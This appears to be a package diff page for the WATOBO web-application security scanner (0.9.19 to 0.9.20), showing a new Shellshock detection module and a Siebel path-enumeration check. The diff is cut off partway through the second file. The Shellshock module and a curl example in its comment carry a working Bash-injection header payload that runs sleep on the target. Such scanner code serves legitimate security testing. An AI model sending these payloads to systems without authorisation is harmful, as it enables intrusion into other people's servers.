watobo 0.9.19 → 0.9.20

Sign up to get free protection for your applications and to get access to all the features.
Files changed (266) hide show
  1. data/CHANGELOG.md +104 -0
  2. data/bin/nfq_server.rb +8 -20
  3. data/bin/watobo_gui.rb +8 -20
  4. data/config/forwarding_proxy.yml +2 -2
  5. data/lib/watobo.rb +12 -22
  6. data/lib/watobo/adapters.rb +12 -24
  7. data/lib/watobo/adapters/data_store.rb +76 -66
  8. data/lib/watobo/adapters/file/file_store.rb +295 -307
  9. data/lib/watobo/adapters/session_store.rb +13 -25
  10. data/lib/watobo/ca.rb +9 -21
  11. data/lib/watobo/config.rb +205 -217
  12. data/lib/watobo/constants.rb +8 -20
  13. data/lib/watobo/core.rb +11 -23
  14. data/lib/watobo/core/active_check.rb +11 -21
  15. data/lib/watobo/core/active_checks.rb +57 -69
  16. data/lib/watobo/core/ca.rb +388 -398
  17. data/lib/watobo/core/cert_store.rb +42 -54
  18. data/lib/watobo/core/chat.rb +100 -112
  19. data/lib/watobo/core/chats.rb +271 -275
  20. data/lib/watobo/core/client_cert_store.rb +33 -45
  21. data/lib/watobo/core/conversation.rb +56 -68
  22. data/lib/watobo/core/cookie.rb +31 -43
  23. data/lib/watobo/core/finding.rb +74 -86
  24. data/lib/watobo/core/findings.rb +113 -125
  25. data/lib/watobo/core/forwarding_proxy.rb +44 -35
  26. data/lib/watobo/core/fuzz_gen.rb +8 -20
  27. data/lib/watobo/core/intercept_carver.rb +176 -188
  28. data/lib/watobo/core/intercept_filter.rb +243 -255
  29. data/lib/watobo/core/interceptor.rb +106 -118
  30. data/lib/watobo/core/min_class.rb +12 -24
  31. data/lib/watobo/core/netfilter_queue.rb +178 -190
  32. data/lib/watobo/core/ott_cache.rb +152 -148
  33. data/lib/watobo/core/parameter.rb +53 -58
  34. data/lib/watobo/core/passive_check.rb +8 -20
  35. data/lib/watobo/core/passive_checks.rb +56 -68
  36. data/lib/watobo/core/passive_scanner.rb +54 -66
  37. data/lib/watobo/core/plugin.rb +19 -31
  38. data/lib/watobo/core/project.rb +8 -20
  39. data/lib/watobo/core/proxy.rb +51 -63
  40. data/lib/watobo/core/request.rb +128 -120
  41. data/lib/watobo/core/response.rb +59 -61
  42. data/lib/watobo/core/scanner.rb +8 -20
  43. data/lib/watobo/core/scanner3.rb +413 -425
  44. data/lib/watobo/core/scope.rb +91 -103
  45. data/lib/watobo/core/session.rb +109 -87
  46. data/lib/watobo/core/sid_cache.rb +106 -118
  47. data/lib/watobo/core/subscriber.rb +33 -45
  48. data/lib/watobo/defaults.rb +29 -41
  49. data/lib/watobo/external/diff/lcs.rb +8 -20
  50. data/lib/watobo/external/diff/lcs/array.rb +8 -20
  51. data/lib/watobo/external/diff/lcs/block.rb +8 -20
  52. data/lib/watobo/external/diff/lcs/callbacks.rb +8 -20
  53. data/lib/watobo/external/diff/lcs/change.rb +8 -20
  54. data/lib/watobo/external/diff/lcs/hunk.rb +8 -20
  55. data/lib/watobo/external/diff/lcs/ldiff.rb +8 -20
  56. data/lib/watobo/external/diff/lcs/string.rb +8 -20
  57. data/lib/watobo/externals.rb +14 -26
  58. data/lib/watobo/framework.rb +12 -24
  59. data/lib/watobo/framework/create_project.rb +68 -80
  60. data/lib/watobo/framework/init.rb +8 -20
  61. data/lib/watobo/framework/init_modules.rb +8 -20
  62. data/lib/watobo/framework/license_text.rb +36 -48
  63. data/lib/watobo/framework/load_chat.rb +21 -33
  64. data/lib/watobo/gui.rb +121 -133
  65. data/lib/watobo/gui/about_watobo.rb +8 -20
  66. data/lib/watobo/gui/browser_preview.rb +8 -20
  67. data/lib/watobo/gui/certificate_dialog.rb +8 -20
  68. data/lib/watobo/gui/chat_diff.rb +11 -21
  69. data/lib/watobo/gui/chatviewer_frame.rb +10 -22
  70. data/lib/watobo/gui/checkboxtree.rb +8 -20
  71. data/lib/watobo/gui/checks_policy_frame.rb +8 -20
  72. data/lib/watobo/gui/client_cert_dialog.rb +10 -21
  73. data/lib/watobo/gui/confirm_scan_dialog.rb +8 -20
  74. data/lib/watobo/gui/conversation_table.rb +54 -44
  75. data/lib/watobo/gui/conversation_table_ctrl.rb +215 -227
  76. data/lib/watobo/gui/conversation_table_ctrl2.rb +385 -393
  77. data/lib/watobo/gui/csrf_token_dialog.rb +11 -25
  78. data/lib/watobo/gui/custom_viewer.rb +357 -369
  79. data/lib/watobo/gui/dashboard.rb +8 -20
  80. data/lib/watobo/gui/define_scope_frame.rb +8 -20
  81. data/lib/watobo/gui/differ_frame.rb +223 -235
  82. data/lib/watobo/gui/edit_comment.rb +8 -20
  83. data/lib/watobo/gui/edit_scope_dialog.rb +8 -20
  84. data/lib/watobo/gui/export_dialog.rb +114 -0
  85. data/lib/watobo/gui/finding_info.rb +9 -21
  86. data/lib/watobo/gui/findings_tree.rb +8 -20
  87. data/lib/watobo/gui/full_scan_dialog.rb +8 -20
  88. data/lib/watobo/gui/fuzzer_gui.rb +8 -20
  89. data/lib/watobo/gui/goto_url_dialog.rb +78 -90
  90. data/lib/watobo/gui/hex_viewer.rb +25 -27
  91. data/lib/watobo/gui/html_viewer.rb +295 -307
  92. data/lib/watobo/gui/intercept_filter_dialog.rb +196 -208
  93. data/lib/watobo/gui/interceptor_gui.rb +1046 -1041
  94. data/lib/watobo/gui/interceptor_settings_dialog.rb +8 -20
  95. data/lib/watobo/gui/list_box.rb +109 -121
  96. data/lib/watobo/gui/log_file_viewer.rb +40 -52
  97. data/lib/watobo/gui/log_viewer.rb +87 -99
  98. data/lib/watobo/gui/login_wizzard.rb +8 -20
  99. data/lib/watobo/gui/main_window.rb +34 -33
  100. data/lib/watobo/gui/manual_request_editor.rb +25 -35
  101. data/lib/watobo/gui/master_pw_dialog.rb +8 -20
  102. data/lib/watobo/gui/mixins/gui_settings.rb +37 -49
  103. data/lib/watobo/gui/page_tree.rb +225 -237
  104. data/lib/watobo/gui/password_policy_dialog.rb +8 -20
  105. data/lib/watobo/gui/plugin_board.rb +8 -20
  106. data/lib/watobo/gui/preferences_dialog.rb +8 -20
  107. data/lib/watobo/gui/progress_window.rb +8 -20
  108. data/lib/watobo/gui/project_wizzard.rb +8 -20
  109. data/lib/watobo/gui/proxy_dialog.rb +117 -85
  110. data/lib/watobo/gui/quick_scan_dialog.rb +8 -20
  111. data/lib/watobo/gui/request_builder_frame.rb +125 -122
  112. data/lib/watobo/gui/request_editor.rb +53 -28
  113. data/lib/watobo/gui/rewrite_filters_dialog.rb +402 -414
  114. data/lib/watobo/gui/rewrite_rules_dialog.rb +380 -392
  115. data/lib/watobo/gui/save_chat_dialog.rb +148 -160
  116. data/lib/watobo/gui/scanner_settings_dialog.rb +8 -20
  117. data/lib/watobo/gui/select_chat_dialog.rb +8 -20
  118. data/lib/watobo/gui/session_management_dialog.rb +8 -20
  119. data/lib/watobo/gui/sites_tree.rb +118 -22
  120. data/lib/watobo/gui/status_bar.rb +8 -20
  121. data/lib/watobo/gui/table_editor.rb +76 -53
  122. data/lib/watobo/gui/tagless_viewer.rb +10 -21
  123. data/lib/watobo/gui/templates/plugin.rb +8 -20
  124. data/lib/watobo/gui/templates/plugin2.rb +99 -111
  125. data/lib/watobo/gui/templates/plugin_base.rb +152 -164
  126. data/lib/watobo/gui/text_viewer.rb +8 -20
  127. data/lib/watobo/gui/transcoder_window.rb +15 -22
  128. data/lib/watobo/gui/utils/gui_utils.rb +8 -20
  129. data/lib/watobo/gui/utils/init_icons.rb +94 -106
  130. data/lib/watobo/gui/utils/load_icons.rb +41 -53
  131. data/lib/watobo/gui/utils/load_plugins.rb +118 -130
  132. data/lib/watobo/gui/utils/master_password.rb +76 -88
  133. data/lib/watobo/gui/utils/save_default_settings.rb +121 -133
  134. data/lib/watobo/gui/utils/save_project_settings.rb +8 -20
  135. data/lib/watobo/gui/utils/save_proxy_settings.rb +53 -21
  136. data/lib/watobo/gui/utils/save_scanner_settings.rb +26 -38
  137. data/lib/watobo/gui/utils/session_history.rb +120 -132
  138. data/lib/watobo/gui/workspace_dialog.rb +8 -20
  139. data/lib/watobo/gui/www_auth_dialog.rb +8 -20
  140. data/lib/watobo/gui/xml_viewer_frame.rb +8 -20
  141. data/lib/watobo/http.rb +12 -23
  142. data/lib/watobo/http/cookies/cookies.rb +63 -70
  143. data/lib/watobo/http/data/data.rb +56 -64
  144. data/lib/watobo/http/data/json.rb +51 -0
  145. data/lib/watobo/http/url/url.rb +46 -58
  146. data/lib/watobo/http/xml/xml.rb +129 -141
  147. data/lib/watobo/interceptor.rb +11 -23
  148. data/lib/watobo/interceptor/proxy.rb +624 -625
  149. data/lib/watobo/interceptor/transparent.rb +22 -34
  150. data/lib/watobo/mixins.rb +18 -30
  151. data/lib/watobo/mixins/check_info.rb +35 -47
  152. data/lib/watobo/mixins/httpparser.rb +42 -35
  153. data/lib/watobo/mixins/request_parser.rb +8 -20
  154. data/lib/watobo/mixins/shapers.rb +484 -477
  155. data/lib/watobo/mixins/transcoders.rb +8 -20
  156. data/lib/watobo/parser.rb +9 -21
  157. data/lib/watobo/parser/html.rb +91 -103
  158. data/lib/watobo/sockets.rb +11 -23
  159. data/lib/watobo/sockets/agent.rb +836 -848
  160. data/lib/watobo/sockets/client_socket.rb +283 -277
  161. data/lib/watobo/sockets/connection.rb +409 -421
  162. data/lib/watobo/sockets/http_socket.rb +16 -23
  163. data/lib/watobo/sockets/ntlm_auth.rb +137 -149
  164. data/lib/watobo/utils.rb +18 -30
  165. data/lib/watobo/utils/check_regex.rb +8 -20
  166. data/lib/watobo/utils/copy_object.rb +8 -20
  167. data/lib/watobo/utils/crypto.rb +8 -20
  168. data/lib/watobo/utils/expand_range.rb +31 -43
  169. data/lib/watobo/utils/export_xml.rb +108 -0
  170. data/lib/watobo/utils/file_management.rb +8 -20
  171. data/lib/watobo/utils/hexprint.rb +17 -29
  172. data/lib/watobo/utils/load_chat.rb +8 -20
  173. data/lib/watobo/utils/load_icon.rb +8 -20
  174. data/lib/watobo/{external/ntlm → utils}/ntlm.rb +874 -796
  175. data/lib/watobo/utils/print_debug.rb +20 -32
  176. data/lib/watobo/utils/response_builder.rb +98 -110
  177. data/lib/watobo/utils/response_hash.rb +9 -20
  178. data/lib/watobo/utils/secure_eval.rb +10 -22
  179. data/lib/watobo/utils/strings.rb +18 -30
  180. data/lib/watobo/utils/text2request.rb +12 -20
  181. data/lib/watobo/utils/url.rb +31 -43
  182. data/lib/watobo/utils/utf16.rb +22 -0
  183. data/modules/active/Apache/mod_status.rb +9 -0
  184. data/modules/active/Apache/multiview.rb +161 -0
  185. data/modules/active/Flash/crossdomain.rb +9 -0
  186. data/modules/active/directories/dirwalker.rb +8 -20
  187. data/modules/active/discovery/fileextensions.rb +10 -22
  188. data/modules/active/discovery/http_methods.rb +8 -20
  189. data/modules/active/domino/domino_db.rb +8 -20
  190. data/modules/active/dotNET/custom_errors.rb +110 -122
  191. data/modules/active/dotNET/dotnet_files.rb +98 -110
  192. data/modules/active/fileinclusion/lfi_simple.rb +8 -20
  193. data/modules/active/jboss/jboss_basic.rb +8 -20
  194. data/modules/active/sap/business_objects.rb +63 -0
  195. data/modules/active/sap/its_commands.rb +8 -20
  196. data/modules/active/sap/its_service_parameter.rb +8 -20
  197. data/modules/active/sap/its_services.rb +8 -20
  198. data/modules/active/sap/its_xss.rb +8 -20
  199. data/modules/active/shell_shock/shell_shock.rb +149 -0
  200. data/modules/active/siebel/siebel_apps.rb +168 -180
  201. data/modules/active/sqlinjection/sql_boolean.rb +9 -21
  202. data/modules/active/sqlinjection/sqli_error.rb +10 -22
  203. data/modules/active/sqlinjection/sqli_timing.rb +228 -240
  204. data/modules/active/struts2/default_handler_ognl.rb +114 -126
  205. data/modules/active/struts2/include_params_ognl.rb +113 -125
  206. data/modules/active/xml/xml_xxe.rb +122 -127
  207. data/modules/active/xss/xss_ng.rb +223 -234
  208. data/modules/active/xss/xss_simple.rb +8 -20
  209. data/modules/passive/ajax.rb +76 -84
  210. data/modules/passive/autocomplete.rb +64 -76
  211. data/modules/passive/cookie_options.rb +8 -20
  212. data/modules/passive/cookie_xss.rb +9 -21
  213. data/modules/passive/detect_code.rb +9 -21
  214. data/modules/passive/detect_fileupload.rb +11 -22
  215. data/modules/passive/detect_infrastructure.rb +23 -35
  216. data/modules/passive/detect_one_time_tokens.rb +8 -20
  217. data/modules/passive/dirindexing.rb +9 -21
  218. data/modules/passive/disclosure_domino.rb +66 -79
  219. data/modules/passive/disclosure_emails.rb +9 -21
  220. data/modules/passive/disclosure_ipaddr.rb +15 -23
  221. data/modules/passive/filename_as_parameter.rb +8 -20
  222. data/modules/passive/form_spotter.rb +15 -21
  223. data/modules/passive/hidden_fields.rb +64 -70
  224. data/modules/passive/hotspots.rb +13 -22
  225. data/modules/passive/in_script_parameter.rb +15 -24
  226. data/modules/passive/multiple_server_headers.rb +8 -20
  227. data/modules/passive/possible_login.rb +12 -23
  228. data/modules/passive/redirect_url.rb +10 -22
  229. data/modules/passive/redirectionz.rb +9 -21
  230. data/modules/passive/sap-headers.rb +64 -76
  231. data/modules/passive/xss_dom.rb +10 -21
  232. data/plugins/catalog/catalog.rb +17 -23
  233. data/plugins/crawler/crawler.rb +12 -24
  234. data/plugins/crawler/gui.rb +13 -25
  235. data/plugins/crawler/gui/auth_frame.rb +278 -290
  236. data/plugins/crawler/gui/crawler_gui.rb +302 -320
  237. data/plugins/crawler/gui/general_settings_frame.rb +104 -116
  238. data/plugins/crawler/gui/hooks_frame.rb +88 -100
  239. data/plugins/crawler/gui/scope_frame.rb +58 -70
  240. data/plugins/crawler/gui/settings_tabbook.rb +46 -58
  241. data/plugins/crawler/gui/status_frame.rb +67 -78
  242. data/plugins/crawler/lib/bags.rb +26 -38
  243. data/plugins/crawler/lib/constants.rb +19 -31
  244. data/plugins/crawler/lib/engine.rb +505 -508
  245. data/plugins/crawler/lib/grabber.rb +77 -87
  246. data/plugins/crawler/lib/status.rb +82 -0
  247. data/plugins/crawler/lib/uri_mp.rb +20 -32
  248. data/plugins/filefinder/dbs/siebel_paths.txt +1118 -0
  249. data/plugins/filefinder/dbs/subs-big.lst +31986 -0
  250. data/plugins/filefinder/filefinder.rb +13 -23
  251. data/plugins/sqlmap/bin/test.rb +86 -98
  252. data/plugins/sqlmap/gui.rb +12 -24
  253. data/plugins/sqlmap/gui/main.rb +226 -238
  254. data/plugins/sqlmap/gui/options_frame.rb +105 -117
  255. data/plugins/sqlmap/lib/sqlmap_ctrl.rb +103 -115
  256. data/plugins/sqlmap/sqlmap.rb +10 -22
  257. data/plugins/sslchecker/cli/sslchecker_cli.rb +8 -20
  258. data/plugins/sslchecker/gui/cipher_table.rb +252 -264
  259. data/plugins/sslchecker/gui/gui.rb +267 -276
  260. data/plugins/sslchecker/gui/sslchecker.rb +12 -24
  261. data/plugins/sslchecker/lib/check.rb +172 -80
  262. data/plugins/wshell/gui/main.rb +115 -127
  263. data/plugins/wshell/lib/core.rb +85 -97
  264. data/plugins/wshell/wshell.rb +19 -31
  265. metadata +14 -6
  266. data/.yardopts +0 -24
@@ -0,0 +1,149 @@
1
+ #.
2
+ # shell_shock.rb
3
+ #.
4
+ # Copyright 2014 by siberas, http://www.siberas.de
5
+ # This file is part of WATOBO (Web Application Tool Box) http://watobo.sourceforge.com
6
+ # WATOBO is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License.
7
+ # WATOBO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
8
+ # You should have received a copy of the GNU General Public License along with WATOBO; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
9
+
10
+ =begin
11
+ $ curl -i -H "Negotiate: () { :; }; /bin/sleep 3" http://192.168.70.134/cgi-bin/shock.cgi
12
+ HTTP/1.1 500 Internal Server Error
13
+ Date: Fri, 24 Jan 2014 08:50:10 GMT
14
+ Server: Apache/2.2.22 (Debian)
15
+ Vary: Accept-Encoding
16
+ Content-Length: 619
17
+ Connection: close
18
+ Content-Type: text/html; charset=iso-8859-1
19
+
20
+ <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
21
+ <html><head>
22
+ <title>500 Internal Server Error</title>
23
+ </head><body>
24
+ <h1>Internal Server Error</h1>
25
+ <p>The server encountered an internal error or
26
+ misconfiguration and was unable to complete
27
+ your request.</p>
28
+ <p>Please contact the server administrator,
29
+ webmaster@localhost and inform them of the time the error occurred,
30
+ and anything you might have done that may have
31
+ caused the error.</p>
32
+ <p>More information about this error may be available
33
+ in the server error log.</p>
34
+ <hr>
35
+ <address>Apache/2.2.22 (Debian) Server at 192.168.70.134 Port 80</address>
36
+ </body></html>
37
+
38
+ =end
39
+
40
+ module Watobo#:nodoc: all
41
+ module Modules
42
+ module Active
43
+ module Shell_shock
44
+
45
+
46
+ class Shell_shock < Watobo::ActiveCheck
47
+ @info.update(
48
+ :check_name => 'ShellShock', # name of check which briefly describes functionality, will be used for tree and progress views
49
+ :check_group => AC_GROUP_GENERIC,
50
+ :description => "", # description of checkfunction
51
+ :author => "Andreas Schmidt", # author of check
52
+ :version => "0.9" # check version
53
+ )
54
+
55
+ threat =<<'EOF'
56
+ Really bad, bad things can happen!
57
+ EOF
58
+
59
+ measure = "Patch it!"
60
+
61
+ @finding.update(
62
+ :threat => threat, # thread of vulnerability, e.g. loss of information
63
+ :class => "ShellShock (RCE)", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
64
+ :type => FINDING_TYPE_VULN, # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
65
+ :rating => VULN_RATING_CRITICAL,
66
+ :measure => measure
67
+ )
68
+
69
+
70
+ def initialize(project, prefs={})
71
+ super(project, prefs)
72
+
73
+ end
74
+
75
+ def generateChecks(chat)
76
+
77
+ checker = proc {
78
+ test_request = nil
79
+ test_response = nil
80
+ output = ""
81
+
82
+ rtimes = []
83
+
84
+ timing_response = nil
85
+
86
+ 3.times do
87
+ test = chat.copyRequest
88
+ start = Time.now().to_i
89
+ timing_request, timing_response = doRequest(test,:default => true)
90
+ stop = Time.now().to_i
91
+ rtimes << ( stop - start )
92
+
93
+ end
94
+ # now calculate the average time
95
+ t_average = rtimes.inject(:+) / rtimes.length
96
+ t_average = 1 if t_average == 0
97
+
98
+ time_to_sleep = rtimes.max > (2 * t_average) ? rtimes.max : (2 * t_average)
99
+
100
+ timeout_counter = 0
101
+ t_start = Time.now().to_i
102
+
103
+ request = chat.copyRequest
104
+ request.addHeader("Negotiate", "() { :;}; /bin/sleep #{time_to_sleep}")
105
+
106
+ test_request, test_response = doRequest(request, :default => true)
107
+
108
+ t_stop = Time.now.to_i
109
+ timeout_counter += 1
110
+
111
+ duration = t_stop - t_start
112
+ # puts duration
113
+ if ( duration >= time_to_sleep )
114
+ puts "Found ShellShock Vulnerablitiy !!!"
115
+ puts "after #{duration}s / time-to-sleep #{time_to_sleep}s)"
116
+
117
+ test_request.extend Watobo::Mixin::Parser::Url unless test_request.respond_to? :path
118
+
119
+ path = "/" + test_request.path
120
+
121
+ output << "SleepTime: #{time_to_sleep}\nQuery Duration: #{duration}s"
122
+
123
+ addFinding( test_request, test_response,
124
+ :check_pattern => "Negotiate.*sleep \d",
125
+ :chat => chat,
126
+ :title => "[Timing] - #{path}",
127
+ :proof_pattern => "",
128
+ :test_item => "Negotiate",
129
+ :class => "ShellShock (Time-based)",
130
+ :output => output
131
+ )
132
+ #readlines
133
+ break
134
+ end
135
+
136
+
137
+ [ test_request, test_response ]
138
+ }
139
+ yield checker
140
+
141
+
142
+ end
143
+ end
144
+
145
+ # --> eo namespace
146
+ end
147
+ end
148
+ end
149
+ end
@@ -1,182 +1,170 @@
1
- # .
1
+ #.
2
2
  # siebel_apps.rb
3
- #
4
- # Copyright 2013 by siberas, http://www.siberas.de
5
- #
6
- # This file is part of WATOBO (Web Application Tool Box)
7
- # http://watobo.sourceforge.com
8
- #
9
- # WATOBO is free software; you can redistribute it and/or modify
10
- # it under the terms of the GNU General Public License as published by
11
- # the Free Software Foundation version 2 of the License.
12
- #
13
- # WATOBO is distributed in the hope that it will be useful,
14
- # but WITHOUT ANY WARRANTY; without even the implied warranty of
15
- # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
16
- # GNU General Public License for more details.
17
- #
18
- # You should have received a copy of the GNU General Public License
19
- # along with WATOBO; if not, write to the Free Software
20
- # Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
21
- # .
22
- # @private
23
- module Watobo#:nodoc: all
24
- module Modules
25
- module Active
26
- module Siebel
27
-
28
- class Siebel_apps < Watobo::ActiveCheck
29
- check_group = File.dirname(File.expand_path(__FILE__)).split("/").last.capitalize!
30
- @@tested_directories = Hash.new
31
-
32
- @info.update(
33
- :check_name => 'Siebel Applications', # name of check which briefly describes functionality, will be used for tree and progress views
34
- :description => "Enumerate Siebel Applications And Default Files, e.g. base.txt", # description of checkfunction
35
- :author => "Andreas Schmidt", # author of check
36
- :version => "1.0", # check version
37
- :check_group => check_group
38
- )
39
-
40
- @finding.update(
41
- :threat => 'Information', # thread of vulnerability, e.g. loss of information
42
- :class => "Siebel: Default Applications", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
43
- :type => FINDING_TYPE_INFO # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
44
- )
45
-
46
- def initialize(project, prefs={})
47
-
48
- super(project, prefs)
49
-
50
- @apps = %w( callcenter cgce cra eCommunicationsWireless eEnergyOilGasChemicals eaf eai eai_anon eauctionswexml eautomotive echannelaf echannelcg echannelcme eclinical ecommunications econsumer econsumerpharma econsumersector ecustomer ecustomercme edealer edealerscw eenergy eevents ehospitality eloyalty emarketing emedia emedical ememb epharma epharmace eprofessionalpharma epublicsector eretail erm ermadmin esales esalescme eservice esitesclinical etraining finesales fins finsconsole finscustomer finsebanking finsebrokerage finsechannel finseenenrollment finssalespam htim htimpim loyalty loyaltyscw marketing medicalce pimportal pmmanager prmmanager prmportal pseservice sales salesce service servicece siasalesce siaservicece sismarketing smc wpeserv wppm wpsales wpserv )
51
- @langs = %w( cat chs cht csy dan deu ell enu esn euq fin fra frc heb hun ita jpn kor nld nor plk pse psl ptb ptg rus shl sky slv sve tha trk )
52
-
53
-
54
- end
55
-
56
- def reset()
57
- @@tested_directories.clear
3
+ #.
4
+ # Copyright 2014 by siberas, http://www.siberas.de
5
+ # This file is part of WATOBO (Web Application Tool Box) http://watobo.sourceforge.com
6
+ # WATOBO is free software; you can redistribute it and/or modify it under the terms of the GNU General Public License as published by the Free Software Foundation version 2 of the License.
7
+ # WATOBO is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
8
+ # You should have received a copy of the GNU General Public License along with WATOBO; if not, write to the Free Software Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
58
9
 
59
- end
60
-
61
-
62
- def generateChecks(chat)
63
-
64
- begin
65
- path = chat.request.dir
66
- # puts "!!!!#{self}: #{path}"
67
- unless @@tested_directories.has_key?(path)
68
- @@tested_directories[path] = true
69
-
70
- @apps.each do |app|
71
- @langs.each do |lang|
72
-
73
-
74
- checker = proc{
75
- begin
76
- app_dir = "#{app}_#{lang}"
77
- #puts app_dir
78
- test_request = nil
79
- test_response = nil
80
- test = chat.copyRequest
81
- test.appendDir app_dir
82
-
83
- status, test_request, test_response = fileExists?(test, :default => true)
84
-
85
- if status == true
86
-
87
- # test_chat = Chat.new(test,test_response, :id => chat.id)
88
-
89
- addFinding( test_request,test_response,
90
- :test_item => chat.request.url.to_s,
91
- :check_pattern => "#{app_dir}",
92
- :proof_pattern => "#{test_response.status}",
93
- :chat => chat,
94
- :title => "#{app_dir}"
95
- )
96
-
97
- # check for _stats.swe
98
- stats_test = chat.copyRequest
99
- stats_test.replaceFileExt("_stats.swe")
100
- status, stats_request, stats_response = fileExists?( stats_test, :default => true)
101
-
102
- if status == true and stats_response.has_body?
103
- addFinding( stats_request,stats_response,
104
- :test_item => stats_request.url.to_s,
105
- :check_pattern => "#{app_dir}",
106
- :proof_pattern => "#{stats_response.status}",
107
- :chat => chat,
108
- :title => "#{app_dir}",
109
- :check_name => "Siebel Stats Page",
110
- :class => "Siebel: Stats Page"
111
- )
112
- end
113
-
114
- # check for base.txt
115
- base_test = chat.copyRequest
116
- base_test.appendDir app_dir
117
- base_test.replaceFileExt("base.txt")
118
- # puts base_test.url
119
- status, base_request, base_response = fileExists?(base_test, :default => true)
120
-
121
- if status == true and base_response.has_body?
122
- version = nil
123
- if base_response.body.strip =~ /^([0-9.]*) /
124
- version = $1
125
- end
126
- addFinding( base_request,base_response,
127
- :test_item => base_request.url.to_s,
128
- :check_pattern => "base.txt",
129
- :proof_pattern => "#{base_response.status}",
130
- :chat => chat,
131
- :title => "#{app_dir}",
132
- :check_name => "Siebel Version #{version}",
133
- :class => "Siebel: Version #{version}"
134
- )
135
- end
136
-
137
- # check for About_Siebel.htm and siebindex.htm
138
- %w( About_Siebel.htm help/siebindex.htm siebindex.htm ).each do |df|
139
- default_test = chat.copyRequest
140
- default_test.appendDir app_dir
141
- default_test.replaceFileExt(df)
142
- status, default_request, default_response = fileExists?(default_test, :default => true)
143
-
144
- if status == true
145
- addFinding( default_request,default_response,
146
- :test_item => "#{default_request.url.to_s}",
147
- :check_pattern => "#{df}",
148
- :proof_pattern => "#{default_response.status}",
149
- :chat => chat,
150
- :title => "#{df}",
151
- #:check_name => "Siebel Version #{version}",
152
- :class => "Siebel: Default Files"
153
- )
154
- end
155
- end
156
-
157
- end
158
- rescue => bang
159
- puts bang
160
- puts bang.backtrace
161
- end
162
- [ test_request, test_response ]
163
- }
164
- yield checker
165
- end
166
- end
167
- end
168
-
169
- rescue => bang
170
- puts bang
171
- puts "ERROR!! #{Module.nesting[0].name}"
172
- raise
173
-
174
- end
175
- end
176
-
177
- end
178
- # --> eo namespace
179
- end
180
- end
181
- end
182
- end
10
+ # @private
11
+ module Watobo#:nodoc: all
12
+ module Modules
13
+ module Active
14
+ module Siebel
15
+
16
+ class Siebel_apps < Watobo::ActiveCheck
17
+ check_group = File.dirname(File.expand_path(__FILE__)).split("/").last.capitalize!
18
+ @@tested_directories = Hash.new
19
+
20
+ @info.update(
21
+ :check_name => 'Siebel Applications', # name of check which briefly describes functionality, will be used for tree and progress views
22
+ :description => "Enumerate Siebel Applications And Default Files, e.g. base.txt", # description of checkfunction
23
+ :author => "Andreas Schmidt", # author of check
24
+ :version => "1.0", # check version
25
+ :check_group => check_group
26
+ )
27
+
28
+ @finding.update(
29
+ :threat => 'Information', # thread of vulnerability, e.g. loss of information
30
+ :class => "Siebel: Default Applications", # vulnerability class, e.g. Stored XSS, SQL-Injection, ...
31
+ :type => FINDING_TYPE_INFO # FINDING_TYPE_HINT, FINDING_TYPE_INFO, FINDING_TYPE_VULN
32
+ )
33
+
34
+ def initialize(project, prefs={})
35
+
36
+ super(project, prefs)
37
+
38
+ @apps = %w( callcenter cgce cra eCommunicationsWireless eEnergyOilGasChemicals eaf eai eai_anon eauctionswexml eautomotive echannelaf echannelcg echannelcme eclinical ecommunications econsumer econsumerpharma econsumersector ecustomer ecustomercme edealer edealerscw eenergy eevents ehospitality eloyalty emarketing emedia emedical ememb epharma epharmace eprofessionalpharma epublicsector eretail erm ermadmin esales esalescme eservice esitesclinical etraining finesales fins finsconsole finscustomer finsebanking finsebrokerage finsechannel finseenenrollment finssalespam htim htimpim loyalty loyaltyscw marketing medicalce pimportal pmmanager prmmanager prmportal pseservice sales salesce service servicece siasalesce siaservicece sismarketing smc wpeserv wppm wpsales wpserv )
39
+ @langs = %w( cat chs cht csy dan deu ell enu esn euq fin fra frc heb hun ita jpn kor nld nor plk pse psl ptb ptg rus shl sky slv sve tha trk )
40
+
41
+
42
+ end
43
+
44
+ def reset()
45
+ @@tested_directories.clear
46
+
47
+ end
48
+
49
+
50
+ def generateChecks(chat)
51
+
52
+ begin
53
+ path = chat.request.dir
54
+ # puts "!!!!#{self}: #{path}"
55
+ unless @@tested_directories.has_key?(path)
56
+ @@tested_directories[path] = true
57
+
58
+ @apps.each do |app|
59
+ @langs.each do |lang|
60
+
61
+
62
+ checker = proc{
63
+ begin
64
+ app_dir = "#{app}_#{lang}"
65
+ #puts app_dir
66
+ test_request = nil
67
+ test_response = nil
68
+ test = chat.copyRequest
69
+ test.appendDir app_dir
70
+
71
+ status, test_request, test_response = fileExists?(test, :default => true)
72
+
73
+ if status == true
74
+
75
+ # test_chat = Chat.new(test,test_response, :id => chat.id)
76
+
77
+ addFinding( test_request,test_response,
78
+ :test_item => chat.request.url.to_s,
79
+ :check_pattern => "#{app_dir}",
80
+ :proof_pattern => "#{test_response.status}",
81
+ :chat => chat,
82
+ :title => "#{app_dir}"
83
+ )
84
+
85
+ # check for _stats.swe
86
+ stats_test = chat.copyRequest
87
+ stats_test.replaceFileExt("_stats.swe")
88
+ status, stats_request, stats_response = fileExists?( stats_test, :default => true)
89
+
90
+ if status == true and stats_response.has_body?
91
+ addFinding( stats_request,stats_response,
92
+ :test_item => stats_request.url.to_s,
93
+ :check_pattern => "#{app_dir}",
94
+ :proof_pattern => "#{stats_response.status}",
95
+ :chat => chat,
96
+ :title => "#{app_dir}",
97
+ :check_name => "Siebel Stats Page",
98
+ :class => "Siebel: Stats Page"
99
+ )
100
+ end
101
+
102
+ # check for base.txt
103
+ base_test = chat.copyRequest
104
+ base_test.appendDir app_dir
105
